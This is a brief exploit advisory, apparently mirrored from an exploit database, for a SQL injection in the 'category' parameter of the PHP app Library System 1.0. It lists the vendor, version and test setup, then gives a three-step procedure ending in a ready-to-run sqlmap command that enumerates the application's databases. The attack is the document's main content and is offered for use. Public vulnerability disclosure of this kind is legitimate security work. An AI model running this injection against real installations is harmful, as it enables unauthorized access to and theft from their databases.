Share
## https://sploitus.com/exploit?id=PACKETSTORM:161089
# Exploit Title: Library System 1.0 - 'category' SQL Injection  
# Exploit Author: Aitor Herrero  
# Date: 2021-01-22  
# Vendor Homepage: https://www.sourcecodester.com/php/12275/library-system-using-php.html  
# Software Link: https://www.sourcecodester.com/php/12275/library-system-using-php.html  
# Version: 1.0  
# Tested On: Windows 10 + XAMPP 7.4.4  
# Description: Library System 1.0  
  
#STEP 1 : Go to the principal main  
#STEP 2 : Choose a category example :http://localhost:8080/libsystem/libsystem/index.php?category=3  
#STEP 3: Run your sqlmap example:  
sqlmap -u "http://localhost:8080/libsystem/libsystem/index.php?category=3" --dbs